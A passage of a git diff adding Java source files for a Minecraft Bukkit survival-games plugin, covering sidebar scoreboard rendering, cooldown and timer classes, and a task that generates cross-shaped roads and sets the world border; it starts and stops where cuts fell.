@@ +package me.redis.kohi.scoreboard.board; + +import me.redis.kohi.scoreboard.Aether; +import me.redis.kohi.scoreboard.AetherOptions; +import me.redis.kohi.scoreboard.board.cooldown.BoardCooldown; +import lombok.Getter; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.scoreboard.DisplaySlot; +import org.bukkit.scoreboard.Objective; +import org.bukkit.scoreboard.Scoreboard; + +import java.util.*; + +public class Board { + + private static Set boards = new HashSet<>(); + + @Getter + private Scoreboard scoreboard; + @Getter + private Player player; + @Getter + private Objective objective; + @Getter + private Set keys; + @Getter + private List entries; + private Set cooldowns; + private final Aether aether; + private final AetherOptions options; + + public Board(Player player, Aether aether, AetherOptions options) { + this.player = player; + this.aether = aether; + this.options = options; + this.keys = new HashSet<>(); + this.cooldowns = new HashSet<>(); + this.entries = new ArrayList<>(); + + setup(); + } + + private void setup() { + if (options.hook() && !player.getScoreboard().equals(Bukkit.getScoreboardManager().getMainScoreboard())) { + scoreboard = player.getScoreboard(); + } else { + scoreboard = Bukkit.getScoreboardManager().getNewScoreboard(); + } + + objective = scoreboard.registerNewObjective("glaedr_is_shit", "dummy"); + objective.setDisplaySlot(DisplaySlot.SIDEBAR); + + if (aether.getAdapter() != null) { + objective.setDisplayName(ChatColor.translateAlternateColorCodes('&', aether.getAdapter().getTitle(player))); + } else { + objective.setDisplayName("Default Title"); + } + + boards.add(this); + } + + public String getNewKey(BoardEntry entry) { + + for (ChatColor color : ChatColor.values()) { + String colorText = color + "" + ChatColor.WHITE; + + if (entry.getText().length() > 16) { + String sub = entry.getText().substring(0, 16); + colorText = colorText + ChatColor.getLastColors(sub); + } + + if (!keys.contains(colorText)) { + keys.add(colorText); + return colorText; + } + } + + throw new IndexOutOfBoundsException("No more keys available!"); + } + + public List getBoardEntriesFormatted() { + List toReturn = new ArrayList<>(); + + for (BoardEntry entry : new ArrayList<>(entries)) { + toReturn.add(entry.getText()); + } + + return toReturn; + } + + public BoardEntry getByPosition(int position) { + int i = 0; + + for (BoardEntry board : entries) { + if (i == position) { + return board; + } + i++; + } + + return null; + } + + public BoardCooldown getCooldown(String id) { + for (BoardCooldown cooldown : getCooldowns()) { + if (cooldown.getId().equals(id)) { + return cooldown; + } + } + + return null; + } + + public Set getCooldowns() { + Iterator iterator = cooldowns.iterator(); + + while (iterator.hasNext()) { + BoardCooldown cooldown = iterator.next(); + if (System.currentTimeMillis() >= cooldown.getEnd()) { + iterator.remove(); + } + } + + return cooldowns; + } + + public static Board getByPlayer(Player player) { + for (Board board : boards) { + if (board.getPlayer().getName().equals(player.getName())) { + return board; + } + } + return null; + } + + public static Set getBoards() { + return boards; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/BoardAdapter.java b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/BoardAdapter.java new file mode 100644 index 0000000..4b7b6f2 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/BoardAdapter.java @@ -0,0 +1,14 @@ +package me.redis.kohi.scoreboard.board; + +import me.redis.kohi.scoreboard.board.cooldown.BoardCooldown; +import org.bukkit.entity.Player; + +import java.util.List; +import java.util.Set; + +public interface BoardAdapter { + + String getTitle(Player player); + List getScoreboard(Player player, Board board, Set cooldowns); + +} diff --git a/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/BoardEntry.java b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/BoardEntry.java new file mode 100644 index 0000000..a951fae --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/BoardEntry.java @@ -0,0 +1,91 @@ +package me.redis.kohi.scoreboard.board; + +import lombok.Getter; +import lombok.Setter; +import lombok.experimental.Accessors; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.scoreboard.Objective; +import org.bukkit.scoreboard.Score; +import org.bukkit.scoreboard.Scoreboard; +import org.bukkit.scoreboard.Team; + +@Accessors(chain = true) +public class BoardEntry { + + @Getter + private Board board; + @Getter + @Setter + private String text; + @Getter + private String originalText; + @Getter + private String key; + @Getter + private Team team; + + public BoardEntry(Board board, String text) { + this.board = board; + this.text = text; + this.originalText = text; + this.key = board.getNewKey(this); + + setup(); + } + + public BoardEntry setup() { + Scoreboard scoreboard = board.getScoreboard(); + + text = ChatColor.translateAlternateColorCodes('&', text); + + String teamName = key; + if (teamName.length() > 16) { + teamName = teamName.substring(0, 16); + } + + if (scoreboard.getTeam(teamName) != null) { + team = scoreboard.getTeam(teamName); + } else { + team = scoreboard.registerNewTeam(teamName); + } + + if (!(team.getEntries().contains(key))) { + team.addEntry(key); + } + + if (!(board.getEntries().contains(this))) { + board.getEntries().add(this); + } + + return this; + } + + public BoardEntry send(int position) { + Objective objective = board.getObjective(); + + if (text.length() <= 16) { + team.setPrefix(text); + team.setSuffix(""); + } else { + String left = text.substring(0, 16), right = ""; + if (left.endsWith("\u00a7")) { + left = left.substring(0, left.length() - 1); + right = "\u00a7"; + } + right = StringUtils.left(ChatColor.getLastColors(left) + right + text.substring(16), 16); + team.setPrefix(left); + team.setSuffix(right); + } + Score score = objective.getScore(key); + score.setScore(position); + + return this; + } + + public void remove() { + board.getKeys().remove(key); + board.getScoreboard().resetScores(key); + } + +} diff --git a/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/cooldown/BoardCooldown.java b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/cooldown/BoardCooldown.java new file mode 100644 index 0000000..b66fc5d --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/cooldown/BoardCooldown.java @@ -0,0 +1,43 @@ +package me.redis.kohi.scoreboard.board.cooldown; + +import me.redis.kohi.scoreboard.board.Board; +import lombok.Getter; +import org.apache.commons.lang.time.DurationFormatUtils; + +import java.text.DecimalFormat; + +public class BoardCooldown { + + private static final DecimalFormat SECONDS_FORMATTER = new DecimalFormat("#0.0"); + + @Getter + private final Board board; + @Getter + private final String id; + @Getter + private final double duration; + @Getter + private final long end; + + public BoardCooldown(Board board, String id, double duration) { + this.board = board; + this.id = id; + this.duration = duration; + this.end = (long) (System.currentTimeMillis() + (duration * 1000)); + + board.getCooldowns().add(this); + } + + public String getFormattedString(BoardFormat format) { + if (format == null) throw new NullPointerException(); + if (format == BoardFormat.SECONDS) { + return SECONDS_FORMATTER.format(((end - System.currentTimeMillis()) / 1000.0f)); + } else { + return DurationFormatUtils.formatDuration(end - System.currentTimeMillis(), "mm:ss"); + } + } + + public void cancel() { + board.getCooldowns().remove(this); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/cooldown/BoardFormat.java b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/cooldown/BoardFormat.java new file mode 100644 index 0000000..215931e --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/cooldown/BoardFormat.java @@ -0,0 +1,7 @@ +package me.redis.kohi.scoreboard.board.cooldown; + +public enum BoardFormat { + SECONDS, + MINUTES, + HOURS +} diff --git a/KohiSG/src/main/java/me/redis/kohi/scoreboard/sidebars/SurvivalGamesSidebar.java b/KohiSG/src/main/java/me/redis/kohi/scoreboard/sidebars/SurvivalGamesSidebar.java new file mode 100644 index 0000000..28a9f86 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/scoreboard/sidebars/SurvivalGamesSidebar.java @@ -0,0 +1,73 @@ +package me.redis.kohi.scoreboard.sidebars; + +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.database.information.Information; +import me.redis.kohi.game.states.GameState; +import me.redis.kohi.scoreboard.board.Board; +import me.redis.kohi.scoreboard.board.BoardAdapter; +import me.redis.kohi.scoreboard.board.cooldown.BoardCooldown; +import me.redis.kohi.utils.DurationFormatter; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.Listener; +import org.bukkit.plugin.java.JavaPlugin; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +public class SurvivalGamesSidebar implements BoardAdapter, Listener { + private Information information = SurvivalGames.getPlugin().getInformationManager().getInformation(); + private SurvivalGames survivalGames = SurvivalGames.getPlugin(); + + public SurvivalGamesSidebar(JavaPlugin plugin) { + Bukkit.getPluginManager().registerEvents(this, plugin); + } + + @Override + public String getTitle(Player player) { + return "&6&lSilexSG &c[Season #1]"; + } + + @Override + public List getScoreboard(Player player, Board board, Set cooldowns) { + List lines = new ArrayList<>(); + + if (survivalGames.getGameManager().getGameState() == GameState.WAITING) { + lines.add("&e&lRemaining&7: &f" + Bukkit.getOnlinePlayers().size()); + } else if (survivalGames.getGameManager().getGameState() == GameState.PLAYING) { + lines.add("&e&lRemaining&7: &f" + survivalGames.getGameManager().getAlivePlayers()); + + if (SurvivalGames.getPlugin().getTimerManager().getProtection().getRemaining(player) > 0) { + lines.add("&c&lProtection&7: &f" + DurationFormatter.getRemaining(SurvivalGames.getPlugin().getTimerManager().getProtection().getRemaining(player), true)); + } + + if (SurvivalGames.getPlugin().getTimerManager().getFeastTimer().getRemaining() > 0) { + lines.add("&d&lFeast&7: &f" + DurationFormatter.getRemaining(SurvivalGames.getPlugin().getTimerManager().getFeastTimer().getRemaining(), false)); + } + + if (SurvivalGames.getPlugin().getBorderManager().isStarted()) { + lines.add("&3&lBorder&7: &f" + SurvivalGames.getPlugin().getBorderManager().getRadius() + " (" + SurvivalGames.getPlugin().getBorderManager().getSeconds() + "s)"); + } + + if (SurvivalGames.getPlugin().getTimerManager().getEnderpearlTimer().getRemaining(player) > 0) { + lines.add("&3&lEnderpearl&7: &f" + DurationFormatter.getRemaining(SurvivalGames.getPlugin().getTimerManager().getEnderpearlTimer().getRemaining(player), true)); + } + } else if (survivalGames.getGameManager().getGameState() == GameState.ENDED) { + lines.add("&e&lWinner&7: &f" + survivalGames.getGameManager().getWinner().getName()); + } + + if (information.isBars()) { + if (!lines.isEmpty()) { + lines.add(0, "&7&m----------------------"); + lines.add(lines.size(), "&7&m----------------------"); + } else { + return null; + } + } else { + if (lines.isEmpty()) return null; + } + + return lines; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/tasks/RoadProcessor.java b/KohiSG/src/main/java/me/redis/kohi/tasks/RoadProcessor.java new file mode 100644 index 0000000..3f662d9 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/tasks/RoadProcessor.java @@ -0,0 +1,271 @@ +package me.redis.kohi.tasks; + +import lombok.Getter; +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.utils.NMSUtils; +import org.apache.commons.lang.math.RandomUtils; +import org.bukkit.*; +import org.bukkit.block.Biome; +import org.bukkit.block.Block; +import org.bukkit.block.BlockFace; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Item; +import org.bukkit.scheduler.BukkitRunnable; + +import static org.bukkit.Bukkit.getServer; + +@Getter +public class RoadProcessor extends BukkitRunnable { + private SurvivalGames survivalGames; + + private Location center; + private Processor processor; + private int delay; + + public RoadProcessor(Location center, int maxPerTick, int delay) { + this.center = center; + this.processor = new Processor(center, maxPerTick); + this.delay = delay; + + survivalGames = SurvivalGames.getPlugin(); + } + + private RoadProcessor(Location center, int delay, Processor procesor) { + this.center = center; + this.processor = procesor; + this.delay = delay; + + survivalGames = SurvivalGames.getPlugin(); + } + + @Override + public void run() { + if (processor.run()) { + return; + } + + new RoadProcessor(center, delay, processor).runTaskLater(survivalGames, delay); + } + + public static enum Type { + X, Z; + + private Type() { + } + } + + public static class Processor { + private World world; + private Location center; + private int phase = 0; + private int processedBlockThisTick; + private int processingZ; + private int processingX; + private int maxPerTick; + private int length = 600; + private int y = 64; + + public Processor(Location center, int maxPerTick) { + world = center.getWorld(); + + this.center = center; + this.maxPerTick = maxPerTick; + } + + public boolean run() { + Chunk centerChunk = center.getChunk(); + processedBlockThisTick = 0; + + if (phase == 0) { + processingZ = (-1 * length); + processingX = 0; + phase = 1; + } + + if (phase == 1) { + for (int x = 0; x < 8; x++) { + Block block1 = world.getBlockAt(x, centerChunk.getX() + 1, centerChunk.getZ() + -1); + Block block2 = world.getBlockAt(x, centerChunk.getX() + 1, centerChunk.getZ() + 8); + + if (!block1.getChunk().isLoaded()) { + block1.getChunk().load(true); + } + + if (!block2.getChunk().isLoaded()) { + block2.getChunk().load(true); + } + } + + for (int z = 0; z < 8; z++) { + Block block1 = world.getBlockAt(centerChunk.getX() + -1, 1, centerChunk.getZ() + z); + Block block2 = world.getBlockAt(centerChunk.getX() + 8, 1, centerChunk.getZ() + z); + + if (!block1.getChunk().isLoaded()) { + block1.getChunk().load(true); + } + + if (!block2.getChunk().isLoaded()) { + block2.getChunk().load(true); + } + } + + for (int z = 0; z < 8; z++) { + for (int x = 0; x < 8; x++) { + clearAbove(centerChunk.getWorld(), centerChunk.getX() * 8 + x, y, centerChunk.getZ() * 8 + z); + processedBlockThisTick += 1; + setRoad(centerChunk.getBlock(centerChunk.getX() * 8 + x, y, centerChunk.getZ() * 8 + z)); + } + } + + phase = 2; + } + + if (phase == 2) { + for (; processingZ < length; processingZ += 1) { + Chunk chunk = world.getChunkAt(new Location(world, center.getX(), 100.0D, processingZ + center.getZ())); + + if (chunk.getZ() != centerChunk.getZ()) { + fillRow(y, Type.Z, processingZ); + + if (processedBlockThisTick > maxPerTick) { + return false; + } + } + } + + phase = 3; + processingZ = 0; + processingX = (-1 * length); + } + + if (phase == 3) { + for (; processingX < length; processingX += 1) { + Chunk chunk = world.getChunkAt(new Location(world, center.getX() + processingX, 100.0D, center.getZ())); + + if (chunk.getX() != centerChunk.getX()) { + fillRow(y, Type.X, processingX); + + if (processedBlockThisTick > maxPerTick) { + return false; + } + } + } + + this.phase = 4; + } + + NMSUtils.createCylinder(Bukkit.getWorld("world"), 4, 63, 4, 20, 1, Material.BEDROCK.getId()); + NMSUtils.createCylinder(Bukkit.getWorld("world"), 4, 64, 4, 20); + + for (int i = 0; i < 15; i++) { + NMSUtils.createCylinder(Bukkit.getWorld("world"), 4, 65 + i, 4, 20 + i, 1, 0); + } + + SurvivalGames.getPlugin().getBorderManager().setCurrentRadius(500); + + Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "wb shape square"); + Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "wb " + "world" + " set " + "500" + " 0 0"); + Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "wb " + "world" + " fill 5000"); + Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "wb fill confirm"); + + Bukkit.getWorld("world").setGameRuleValue("naturalRegeneration", "false"); + + Bukkit.getScheduler().runTaskTimerAsynchronously(SurvivalGames.getPlugin(), () -> { + if (SurvivalGames.getPlugin().getGameManager().getWorldBorder() < 1) { + SurvivalGames.getPlugin().setCanJoin(true); + } else { + SurvivalGames.getPlugin().getGameManager().setWorldBorder(SurvivalGames.getPlugin().getGameManager().getWorldBorder() - 1); + } + }, 20L, 20L); + + for (Entity entity : centerChunk.getWorld().getEntities()) { + if (entity instanceof Item) { + entity.remove(); + } + } + + return true; + } + + public void fillRow(int y, Type modifierType, int modifier) { + if (modifierType == Type.X) { + for (int z = 0; z < 8; z++) { + processedBlockThisTick += 1; + clearAbove(world, modifier + center.getBlockX(), y, center.getBlockZ() + z); + setRoad(world.getBlockAt(modifier + center.getBlockX(), y, center.getBlockZ() + z)); + } + + for (int i = 1; i < 10; i++) { + Block one = this.world.getBlockAt(modifier + this.center.getBlockX(), y + i - 1, this.center.getBlockZ() + 7 + i); + Block two = this.world.getBlockAt(modifier + this.center.getBlockX(), y + i - 1, this.center.getBlockZ() - i); + + if ((!one.getRelative(BlockFace.UP).isEmpty()) && (one.getRelative(BlockFace.UP).getType().isOccluding())) { + one.setType(getBiomeMaterial(one.getBiome())); + } + + if ((!two.getRelative(BlockFace.UP).isEmpty()) && (two.getRelative(BlockFace.UP).getType().isOccluding())) { + two.setType(getBiomeMaterial(two.getBiome())); + } + + clearAbove(this.world, modifier + this.center.getBlockX(), y + i - 1, this.center.getBlockZ() + 7 + i); + clearAbove(this.world, modifier + this.center.getBlockX(), y + i - 1, this.center.getBlockZ() - i); + } + } else { + for (int x = 0; x < 8; x++) { + this.processedBlockThisTick += 1; + + clearAbove(this.world, this.center.getBlockX() + x, y, modifier + this.center.getBlockZ()); + setRoad(this.world.getBlockAt(this.center.getBlockX() + x, y, modifier + this.center.getBlockZ())); + } + + for (int i = 1; i < 10; i++) { + Block one = this.world.getBlockAt(this.center.getBlockX() + 7 + i, y + i - 1, modifier + this.center.getBlockZ()); + Block two = this.world.getBlockAt(this.center.getBlockX() - i, y + i - 1, modifier + this.center.getBlockZ()); + if ((!one.getRelative(BlockFace.UP).isEmpty()) && (one.getRelative(BlockFace.UP).getType().isOccluding())) { + one.setType(getBiomeMaterial(one.getBiome())); + } + if ((!two.getRelative(BlockFace.UP).isEmpty()) && (two.getRelative(BlockFace.UP).getType().isOccluding())) { + two.setType(getBiomeMaterial(two.getBiome())); + } + clearAbove(this.world, this.center.getBlockX() + 7 + i, y + i - 1, modifier + this.center.getBlockZ()); + clearAbove(this.world, this.center.getBlockX() - i, y + i - 1, modifier + this.center.getBlockZ()); + } + } + } + + public void setRoad(Block block) { + block.setType(getRoadMaterial()); + block.getRelative(BlockFace.DOWN).setType(Material.BEDROCK); + } + + public void clearAbove(World world, int bx, int by, int bz) { + for (int y = by + 1; y < 256; y++) { + this.processedBlockThisTick += 1; + world.getBlockAt(bx, y, bz).setType(Material.AIR); + } + } + + public Material getBiomeMaterial(final Biome biome) { + switch (biome) { + case DESERT: { + return Material.SAND; + } + default: { + return Material.GRASS; + } + } + } + + public Material getRoadMaterial() { + int rand = RandomUtils.nextInt(3); + + if (rand == 0) { + return Material.COBBLESTONE; + } else if (rand == 1) { + return Material.GRAVEL; + } else { + return Material.SMOOTH_BRICK; + } + } + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/GlobalTimer.java b/KohiSG/src/main/java/me/redis/kohi/timer/GlobalTimer.java new file mode 100644 index 0000000..d7e3255 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/GlobalTimer.java @@ -0,0 +1,69 @@ +package me.redis.kohi.timer; + +import me.redis.kohi.timer.event.TimerExtendEvent; +import me.redis.kohi.timer.event.TimerPauseEvent; +import me.redis.kohi.timer.event.TimerStartEvent; +import org.bukkit.Bukkit; + +public abstract class GlobalTimer extends Timer { + + private TimerCooldown runnable; + + public GlobalTimer(String name, long defaultCooldown) { + super(name, defaultCooldown); + } + + public boolean clearCooldown() { + if (runnable != null) { + runnable.cancel(); + runnable = null; + return true; + } + return false; + } + + public boolean isPaused() { + return runnable != null && runnable.isPaused(); + } + + public void setPaused(boolean paused) { + if (runnable != null && runnable.isPaused() != paused) { + TimerPauseEvent event = new TimerPauseEvent(this, paused); + Bukkit.getPluginManager().callEvent(event); + if (!event.isCancelled()) { + runnable.setPaused(paused); + } + } + } + + public long getRemaining() { + return runnable == null ? 0L : runnable.getRemaining(); + } + + public boolean setRemaining() { + return setRemaining(defaultCooldown, false); + } + + public boolean setRemaining(long duration, boolean overwrite) { + boolean hadCooldown = false; + if (runnable != null) { + if (!overwrite) { + return false; + } + + TimerExtendEvent event = new TimerExtendEvent(this, runnable.getRemaining(), duration); + Bukkit.getPluginManager().callEvent(event); + if (event.isCancelled()) { + return false; + } + + hadCooldown = runnable.getRemaining() > 0L; + runnable.setRemaining(duration); + } else { + Bukkit.getPluginManager().callEvent(new TimerStartEvent(this, duration)); + runnable = new TimerCooldown(this, duration); + } + + return !hadCooldown; + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/PlayerTimer.java b/KohiSG/src/main/java/me/redis/kohi/timer/PlayerTimer.java new file mode 100644 index 0000000..71903a3 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/PlayerTimer.java @@ -0,0 +1,132 @@ +package me.redis.kohi.timer; + +import com.google.common.base.Optional; +import com.google.common.base.Predicate; +import me.redis.kohi.timer.event.*; +import org.bukkit.Bukkit; +import org.bukkit.configuration.MemorySection; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; + +import javax.annotation.Nullable; +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; + +public abstract class PlayerTimer extends Timer { + + protected final boolean persistable; + protected final Map cooldowns = new ConcurrentHashMap<>(); + + public PlayerTimer(String name, long defaultCooldown, boolean persistable) { + super(name, defaultCooldown); + + this.persistable = persistable; + } + + public PlayerTimer(String name, long defaultCooldown) { + this(name, defaultCooldown, true); + } + + public void onExpire(UUID userUUID) { + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onTimerExpireLoadReduce(TimerExpireEvent event) { + if (event.getTimer() == this) { + Optional optionalUserUUID = event.getUserUUID(); + if (optionalUserUUID.isPresent()) { + UUID userUUID = optionalUserUUID.get(); + onExpire(userUUID); + clearCooldown(userUUID); + } + } + } + + public void clearCooldown(Player player) { + clearCooldown(player.getUniqueId()); + } + + public TimerCooldown clearCooldown(UUID playerUUID) { + TimerCooldown runnable = cooldowns.remove(playerUUID); + if (runnable != null) { + runnable.cancel(); + Bukkit.getPluginManager().callEvent(new TimerClearEvent(playerUUID, this)); + return runnable; + } + return null; + } + + public boolean isPaused(Player player) { + return isPaused(player.getUniqueId()); + } + + public boolean isPaused(UUID playerUUID) { + TimerCooldown runnable = cooldowns.get(playerUUID); + return runnable != null && runnable.isPaused(); + } + + public void setPaused(UUID playerUUID, boolean paused) { + TimerCooldown runnable = cooldowns.get(playerUUID); + if (runnable != null && runnable.isPaused() != paused) { + TimerPauseEvent event = new TimerPauseEvent(playerUUID, this, paused); + Bukkit.getPluginManager().callEvent(event); + if (!event.isCancelled()) { + runnable.setPaused(paused); + } + } + } + + public long getRemaining(Player player) { + return getRemaining(player.getUniqueId()); + } + + public long getRemaining(UUID playerUUID) { + TimerCooldown runnable = cooldowns.get(playerUUID); + return runnable == null ? 0L : runnable.getRemaining(); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID) { + return setCooldown(player, playerUUID, defaultCooldown, false); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID, long duration, boolean overwrite) { + return setCooldown(player, playerUUID, duration, overwrite, null); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID, long duration, boolean overwrite, @Nullable Predicate currentCooldownPredicate) { + TimerCooldown runnable = duration > 0L ? cooldowns.get(playerUUID) : this.clearCooldown(playerUUID); + if (runnable != null) { + long remaining = runnable.getRemaining(); + if (!overwrite && remaining > 0L && duration <= remaining) { + return false; + } + + TimerExtendEvent event = new TimerExtendEvent(player, playerUUID, this, remaining, duration); + Bukkit.getPluginManager().callEvent(event); + if (event.isCancelled()) { + return false; + } + + boolean flag = true; + if (currentCooldownPredicate != null) { + flag = currentCooldownPredicate.apply(remaining); + } + + if (flag) { + runnable.setRemaining(duration); + } + + return flag; + } else { + Bukkit.getPluginManager().callEvent(new TimerStartEvent(player, playerUUID, this, duration)); + runnable = new TimerCooldown(this, playerUUID, duration); + } + + cooldowns.put(playerUUID, runnable); + return true; + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/Timer.java b/KohiSG/src/main/java/me/redis/kohi/timer/Timer.java new file mode 100644 index 0000000..2b4e11b --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/Timer.java @@ -0,0 +1,18 @@ +package me.redis.kohi.timer; + +import lombok.Getter; + +public abstract class Timer { + + @Getter protected final String name; + @Getter protected final long defaultCooldown; + + public Timer(String name, long defaultCooldown) { + this.name = name; + this.defaultCooldown = defaultCooldown; + } + + public abstract String getScoreboardPrefix(); + + public final String getDisplayName() { return getScoreboardPrefix() + name; } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/TimerCooldown.java b/KohiSG/src/main/java/me/redis/kohi/timer/TimerCooldown.java new file mode 100644 index 0000000..493034f --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/TimerCooldown.java @@ -0,0 +1,110 @@ +package me.redis.kohi.timer; + +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.timer.event.TimerExpireEvent; +import org.bukkit.Bukkit; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.scheduler.BukkitTask; + +import java.util.UUID; + +public class TimerCooldown { + + private BukkitTask eventNotificationTask; + + private final Timer timer; + private final UUID owner; + private long expiryMillis; + private long pauseMillis; + + public TimerCooldown(Timer timer, long duration) { + this.owner = null; + this.timer = timer; + + setRemaining(duration); + } + + public TimerCooldown(Timer timer, UUID playerUUID, long duration) { + this.timer = timer; + this.owner = playerUUID; + + setRemaining(duration); + } + + public Timer getTimer() { + return timer; + } + + public long getRemaining() { + return getRemaining(false); + } + + public long getRemaining(boolean ignorePaused) { + if (!ignorePaused && pauseMillis != 0L) { + return pauseMillis; + } + + return expiryMillis - System.currentTimeMillis(); + } + + public long getExpiryMillis() { + return expiryMillis; + } + + public void setRemaining(long remaining) { + setExpiryMillis(remaining); + } + + private void setExpiryMillis(long remainingMillis) { + long expiryMillis = System.currentTimeMillis() + remainingMillis; + if (expiryMillis == this.expiryMillis) { + return; + } + + this.expiryMillis = expiryMillis; + if (remainingMillis > 0L) { + if (eventNotificationTask != null) { + eventNotificationTask.cancel(); + } + + eventNotificationTask = new BukkitRunnable() { + @Override + public void run() { + Bukkit.getPluginManager().callEvent(new TimerExpireEvent(owner, timer)); + } + }.runTaskLater(SurvivalGames.getPlugin(), remainingMillis / 50L); + } + } + + public long getPauseMillis() { + return pauseMillis; + } + + public void setPauseMillis(long pauseMillis) { + this.pauseMillis = pauseMillis; + } + + public boolean isPaused() { + return pauseMillis != 0L; + } + + public void setPaused(boolean paused) { + if (paused != isPaused()) { + if (paused) { + pauseMillis = getRemaining(true); + cancel(); + } else { + setExpiryMillis(pauseMillis); + pauseMillis = 0L; + } + } + } + + public boolean cancel() { + if (eventNotificationTask != null) { + eventNotificationTask.cancel(); + return true; + } + return false; + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/TimerManager.java b/KohiSG/src/main/java/me/redis/kohi/timer/TimerManager.java new file mode 100644 index 0000000..0d1c1ed --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/TimerManager.java @@ -0,0 +1,41 @@ +package me.redis.kohi.timer; + +import lombok.Getter; +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.timer.type.EnderpearlTimer; +import me.redis.kohi.timer.type.FeastTimer; +import me.redis.kohi.timer.type.ProtectionTimer; +import org.bukkit.Bukkit; +import org.bukkit.event.Listener; + +import java.util.LinkedHashSet; +import java.util.Set; + +public class TimerManager { + @Getter private final SurvivalGames plugin; + + @Getter private final ProtectionTimer protection; + @Getter private final EnderpearlTimer enderpearlTimer; + @Getter private final FeastTimer feastTimer; + + @Getter private final Set timers = new LinkedHashSet<>(); + + public TimerManager(SurvivalGames plugin) { + this.plugin = plugin; + + registerTimer(protection = new ProtectionTimer(plugin)); + registerTimer(enderpearlTimer = new EnderpearlTimer()); + registerTimer(feastTimer = new FeastTimer(plugin)); + } + + public void registerTimer(Timer timer) { + timers.add(timer); + if (timer instanceof Listener) { + Bukkit.getPluginManager().registerEvents((Listener) timer, plugin); + } + } + + public void unregisterTimer(Timer timer) { + timers.remove(timer); + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerClearEvent.java b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerClearEvent.java new file mode 100644 index 0000000..dcf36b4 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerClearEvent.java @@ -0,0 +1,59 @@ +package me.redis.kohi.timer.event; + +import com.google.common.base.Optional; +import me.redis.kohi.timer.Timer; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when a {@link Timer} is removed. + */ +public class TimerClearEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional userUUID; + private final Timer timer; + + public TimerClearEvent(Timer timer) { + this.userUUID = Optional.absent(); + this.timer = timer; + } + + public TimerClearEvent(UUID userUUID, Timer timer) { + this.userUUID = Optional.of(userUUID); + this.timer = timer; + } + + /** + * Gets the optional UUID of the user this was removed for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the removed user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerExpireEvent.java b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerExpireEvent.java new file mode 100644 index 0000000..a34f015 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/timer/event/TimerExpireEvent.java @@ -0,0 +1,59 @@ +package me.redis.kohi.timer.event; + +import com.google.common.base.Optional; +import me.redis.kohi.timer.Timer; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when a {@link Timer} expires. + */ +public class TimerExpireEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional userUUID; + private final Timer timer; + + public TimerExpireEvent(Timer timer) { + this.userUUID = Optional.absent(); + this.timer = timer; + } + + public TimerExpireEvent(UUID userUUID, Timer timer) { + this.userUUID = Optional.fromNullable(userUUID); + this.timer = timer; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

